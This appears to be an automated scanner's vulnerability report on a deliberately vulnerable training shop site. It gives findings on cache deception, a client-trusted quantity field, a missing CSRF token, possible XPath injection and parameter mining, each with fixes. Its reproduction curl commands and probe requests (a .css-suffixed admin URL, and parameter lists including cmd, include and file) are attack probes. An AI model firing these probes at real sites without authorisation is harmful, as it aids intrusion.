response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 1372
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 09:56:55 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — account</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a class='on' href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (3)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a h

Detection details — how this was found and rated

checks: injection/cache_poisoning
rating basis: P3 - the same page is served under a static-looking suffix, but no cache signal was observed
class: cache poisoning injection

GET/admin.php/sks-deception-7p6wbn24.css Web cache poisoning / deception on /admin.php/sks-deception-7p6wbn24.css unconfirmed · medium confidence BV-004 medium

location: GET https://sekumart.sekuripy.hr/admin.php/sks-deception-7p6wbn24.css
authentication: none - reachable anonymously
classification: CWE-441
standards: OWASP Top 10 2025A05:2025 OWASP ASVS 5.0.0V13 ISO/IEC 27001 2022A.8.28, A.8.29 NIST CSF 2.0ID.RA-01 PCI DSS 4.0.16.2.4, 6.3.1

Decisive evidence

Authenticated page served under a static-looking path unconfirmed

similarity

status

200

Reproduce

baseline GET https://sekumart.sekuripy.hr/admin.php HTTP 200 2852 bytes
suffixed GET https://sekumart.sekuripy.hr/admin.php/sks-deception-7p6wbn24.css HTTP 200 2852 bytes

suffixed

curl -i -X GET 'https://sekumart.sekuripy.hr/admin.php/sks-deception-7p6wbn24.css'

GET /admin.php/sks-deception-7p6wbn24.css HTTP/1.1
Host: sekumart.sekuripy.hr

Raw exchanges — 2 recorded request/response pairs

baseline HTTP 200 https://sekumart.sekuripy.hr/admin.php

request

GET /admin.php HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 1403
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 09:57:08 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — admin</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a class='on' href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (3)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a hre

suffixed HTTP 200 https://sekumart.sekuripy.hr/admin.php/sks-deception-7p6wbn24.css

request

GET /admin.php/sks-deception-7p6wbn24.css HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 1403
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 09:57:08 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — admin</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a class='on' href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (3)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a hre

Detection details — how this was found and rated

checks: injection/cache_poisoning
rating basis: P3 - the same page is served under a static-looking suffix, but no cache signal was observed
class: cache poisoning injection

GET/cart.php Client-trusted business value on /cart.php unconfirmed · low confidence BV-005 medium

Evidence. Form field qty carries a business value to the server. Confirm the server recomputes it.

How to fix. Recompute every price, total and entitlement on the server from identifiers, and treat the client's copy as a display value only.

What we verified A form submits this business value from the client. This is a hypothesis to test, not an observed weakness: whether the server recomputes the value was not determined.

What this can lead toWhere a server trusts a client-supplied price, quantity or role, the caller can change what they pay or what they are allowed to do. Assessment boundary: No order was placed, no value was tampered with and no checkout was completed - exercising a purchase flow is outside what this run will do unauthorised.

How to fixRecompute every price, total and entitlement on the server from identifiers, and treat the client's copy as a display value only.

location: GET https://sekumart.sekuripy.hr/cart.php
authentication: none - reachable anonymously (policy-wide; not tied to one surface)
classification: CWE-840
standards: OWASP Top 10 2025A06:2025 OWASP API Security Top 10 2023API6:2023 OWASP ASVS 5.0.0V2 OWASP WSTG 4.2WSTG-BUSL-09 ISO/IEC 27001 2022A.8.26 NIST CSF 2.0ID.RA-01

Decisive evidence

Client-supplied business value field qty unconfirmed

Form field qty carries a business value to the server. Confirm the server recomputes it.

page

https://sekumart.sekuripy.hr/cart.php

action

https://sekumart.sekuripy.hr/cart.php

method

get

field

qty

type

text

hidden

readonly

value sample

Reproduce

navigate https://sekumart.sekuripy.hr/cart.php bytes
manual bytes — replay GET https://sekumart.sekuripy.hr/cart.php with modified qty

Detection details — how this was found and rated

checks: business-logic/workflow
rating basis: P3 - the server trusts a business value the client fully controls
class: workflow business-logic

POST/login.php Session handling on /login.php unconfirmed · low confidence BV-006 low

Evidence. No hidden token-looking field was found in a POST credential form; the protection may be header- or cookie-based instead.

How to fix. Set HttpOnly, Secure and SameSite on session cookies, keep session identifiers out of URLs, and rotate them on privilege change.

What we verified Session material is handled in a way that exposes it: see the specific observation below.

How to fixSet HttpOnly, Secure and SameSite on session cookies, keep session identifiers out of URLs, and rotate them on privilege change.

location: POST /login.php
authentication: none - reachable anonymously (policy-wide; not tied to one surface)
classification: CWE-352 · WASC-37
standards: OWASP Top 10 2025A01:2025 OWASP API Security Top 10 2023API2:2023 OWASP ASVS 5.0.0V3 OWASP WSTG 4.2WSTG-SESS-05 ISO/IEC 27001 2022A.8.28 NIST CSF 2.0PR.AA-05 PCI DSS 4.0.16.2.4

Decisive evidence

Credential form without an anti-CSRF token field unconfirmed

No hidden token-looking field was found in a POST credential form; the protection may be header- or cookie-based instead.

page

https://sekumart.sekuripy.hr/login.php

action

https://sekumart.sekuripy.hr/login.php

Reproduce

navigate https://sekumart.sekuripy.hr/login.php bytes

Detection details — how this was found and rated

checks: auth/session
rating basis: P4 - no anti-CSRF field found; protection may be header-based or SameSite-based, which would make this a non-issue - rated as the lead it is
class: session auth

GET/viewsource.php XPath injection on /viewsource.php unconfirmed · low confidence BV-007 low

Evidence. Response body contains a Generic XPath error message.

Why this proves it. Generic XPath parsed our value and reported on it. Only input that reaches the query itself can make the engine complain about syntax.

d straight into the XPath expression -> XPath injection.<br>// Normal use matches an exact name; injecting  q='&

How to fix. Use a pre-compiled XPath expression with variable binding instead of building the expression by string concatenation.

What we verified The value is interpolated into an XPath expression: the engine reported a malformed expression, or the truth value of a condition we supplied changed the result set.

How to fixUse a pre-compiled XPath expression with variable binding instead of building the expression by string concatenation.

location: GET https://sekumart.sekuripy.hr/viewsource.php?p=directory
authentication: none - reachable anonymously (policy-wide; not tied to one surface)
classification: CWE-643 · WASC-39
standards: OWASP Top 10 2025A05:2025 OWASP ASVS 5.0.0V1 OWASP WSTG 4.2WSTG-INPV-09 ISO/IEC 27001 2022A.8.28, A.8.29 NIST CSF 2.0ID.RA-01 PCI DSS 4.0.16.2.4, 6.3.1

Decisive evidence

Generic XPath reported on the value we sent unconfirmed

d straight into the XPath expression -> XPath injection.<br>// Normal use matches an exact name; injecting q='&

Generic XPath parsed our value and reported on it. Only input that reaches the query itself can make the engine complain about syntax.

Reproduce

navigate https://sekumart.sekuripy.hr/viewsource.php?p=directory bytes

Detection details — how this was found and rated

checks: injection/xpath
rating basis: P4 - an engine error message appears in a response, with nothing injected to cause it
class: xpath injection

GET/cart.php Input handling on /cart.php unconfirmed · medium confidence BV-008 info

Evidence. This endpoint is reachable with no query string and advertises no input, but add changed its response on its own, against two baselines of this endpoint. Nothing here is a weakness yet - the parameter is now an ordinary surface and the rest of the engine decides what it is worth.

How to fix. No action.

What we verified The parameter's response to punctuation was measured.

What this can lead toNothing on its own; this is how the run decided what to test next. Assessment boundary: Recorded for coverage.

How to fixNo action.

location: GET https://sekumart.sekuripy.hr/cart.php
authentication: none - reachable anonymously (policy-wide; not tied to one surface)

Decisive evidence

Undeclared parameter accepted by /cart.php unconfirmed

This endpoint is reachable with no query string and advertises no input, but add changed its response on its own, against two baselines of this endpoint. Nothing here is a weakness yet - the parameter is now an ordinary surface and the rest of the engine decides what it is worth.

url

https://sekumart.sekuripy.hr/cart.php

confirmed together

Additional corroboration — 10

Undeclared parameter accepted by /cart.php
This endpoint is reachable with no query string and advertises no input, but product_id changed its response on its own, against two baselines of this endpoint. Nothing here is a weakness yet - the parameter is now an ordinary surface and the rest of the engine decides what it is worth.
Undeclared parameter accepted by /cart.php
This endpoint is reachable with no query string and advertises no input, but author changed its response on its own, against two baselines of this endpoint. Nothing here is a weakness yet - the parameter is now an ordinary surface and the rest of the engine decides what it is worth.
Undeclared parameter accepted by /cart.php
This endpoint is reachable with no query string and advertises no input, but body changed its response on its own, against two baselines of this endpoint. Nothing here is a weakness yet - the parameter is now an ordinary surface and the rest of the engine decides what it is worth.
Undeclared parameter accepted by /cart.php
This endpoint is reachable with no query string and advertises no input, but data, src, dir, lang, view, redirect, returnTo, return_url changed its response together - neither moves the response on its own, and the pair does. Nothing here is a weakness yet - the parameter is now an ordinary surface and the rest of the engine decides what it is worth.
Undeclared parameter accepted by /cart.php
This endpoint is reachable with no query string and advertises no input, but fileName, path, email, token, action, value, type, key changed its response together - neither moves the response on its own, and the pair does. Nothing here is a weakness yet - the parameter is now an ordinary surface and the rest of the engine decides what it is worth.
Undeclared parameter accepted by /cart.php
This endpoint is reachable with no query string and advertises no input, but callback, file, url, name, search, query, page, filename changed its response together - neither moves the response on its own, and the pair does. Nothing here is a weakness yet - the parameter is now an ordinary surface and the rest of the engine decides what it is worth.
Undeclared parameter accepted by /cart.php
This endpoint is reachable with no query string and advertises no input, but next, target, dest, comment, message, text, content, title changed its response together - neither moves the response on its own, and the pair does. Nothing here is a weakness yet - the parameter is now an ordinary surface and the rest of the engine decides what it is worth.
Undeclared parameter accepted by /cart.php
This endpoint is reachable with no query string and advertises no input, but host, ip, cmd, fetch, load, refresh, all, expand changed its response together - neither moves the response on its own, and the pair does. Nothing here is a weakness yet - the parameter is now an ordinary surface and the rest of the engine decides what it is worth.
Undeclared parameter accepted by /cart.php
This endpoint is reachable with no query string and advertises no input, but template, include, download, format, mode, state, code, session changed its response together - neither moves the response on its own, and the pair does. Nothing here is a weakness yet - the parameter is now an ordinary surface and the rest of the engine decides what it is worth.
Undeclared parameter accepted by /cart.php
This endpoint is reachable with no query string and advertises no input, but fields, full changed its response together - neither moves the response on its own, and the pair does. Nothing here is a weakness yet - the parameter is now an ordinary surface and the rest of the engine decides what it is worth.

Reproduce

request GET https://sekumart.sekuripy.hr/cart.php?add=1 bytes
name5 GET https://sekumart.sekuripy.hr/cart.php?product_id=1 HTTP 200 3498 bytes
name6 GET https://sekumart.sekuripy.hr/cart.php?author=1 HTTP 200 3498 bytes
name7 GET https://sekumart.sekuripy.hr/cart.php?body=1 HTTP 200 3498 bytes
request GET https://sekumart.sekuripy.hr/cart.php?data=1&src=1&dir=1&lang=1&view=1&redirect=1&returnTo=1&return_url=1 bytes
request GET https://sekumart.sekuripy.hr/cart.php?fileName=1&path=1&email=1&token=1&action=1&value=1&type=1&key=1 bytes

control

curl -i -X GET 'https://sekumart.sekuripy.hr/cart.php?sksnotaparam=1'

GET /cart.php?sksnotaparam=1 HTTP/1.1
Host: sekumart.sekuripy.hr

Raw exchanges — 6 recorded request/response pairs

baseline HTTP 200 https://sekumart.sekuripy.hr/cart.php

request

GET /cart.php HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 1619
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 09:58:43 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — cart</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (9)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catalog.

baseline again, to locate per-request churn HTTP 200 https://sekumart.sekuripy.hr/cart.php

request

GET /cart.php HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 1619
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 09:58:43 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — cart</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (9)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catalog.

control HTTP 200 https://sekumart.sekuripy.hr/cart.php?sksnotaparam=1

request

GET /cart.php?sksnotaparam=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 1619
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 09:58:43 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — cart</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (9)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catalog.

name0 HTTP 200 https://sekumart.sekuripy.hr/cart.php?p=1

request

GET /cart.php?p=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 1619
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 09:58:43 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — cart</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (9)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catalog.

name1 HTTP 200 https://sekumart.sekuripy.hr/cart.php?flag=1

request

GET /cart.php?flag=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 1619
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 09:58:43 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — cart</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (9)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catalog.

name2 HTTP 200 https://sekumart.sekuripy.hr/cart.php?username=1

request

GET /cart.php?username=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 1619
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 09:58:43 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — cart</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (9)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catalog.

Detection details — how this was found and rated

checks: recon/param_mining
rating basis: P5 - the endpoint reacts to a parameter it never advertised - attack surface, and the class stays triage because this is the same bookkeeping about parameters, not a weakness of its own
class: triage recon

All supporting observations

Undeclared parameter accepted by /cart.php recon/param_mining · info
This endpoint is reachable with no query string and advertises no input, but add changed its response on its own, against two baselines of this endpoint. Nothing here is a weakness yet - the parameter is now an ordinary surface and the rest of the engine decides what it is worth.

url https://sekumart.sekuripy.hr/cart.php confirmed together no
Undeclared parameter accepted by /cart.php recon/param_mining · info
This endpoint is reachable with no query string and advertises no input, but product_id changed its response on its own, against two baselines of this endpoint. Nothing here is a weakness yet - the parameter is now an ordinary surface and the rest of the engine decides what it is worth.

url https://sekumart.sekuripy.hr/cart.php confirmed together no
Undeclared parameter accepted by /cart.php recon/param_mining · info
This endpoint is reachable with no query string and advertises no input, but author changed its response on its own, against two baselines of this endpoint. Nothing here is a weakness yet - the parameter is now an ordinary surface and the rest of the engine decides what it is worth.

url https://sekumart.sekuripy.hr/cart.php confirmed together no
Undeclared parameter accepted by /cart.php recon/param_mining · info
This endpoint is reachable with no query string and advertises no input, but body changed its response on its own, against two baselines of this endpoint. Nothing here is a weakness yet - the parameter is now an ordinary surface and the rest of the engine decides what it is worth.

url https://sekumart.sekuripy.hr/cart.php confirmed together no
Undeclared parameter accepted by /cart.php recon/param_mining · info
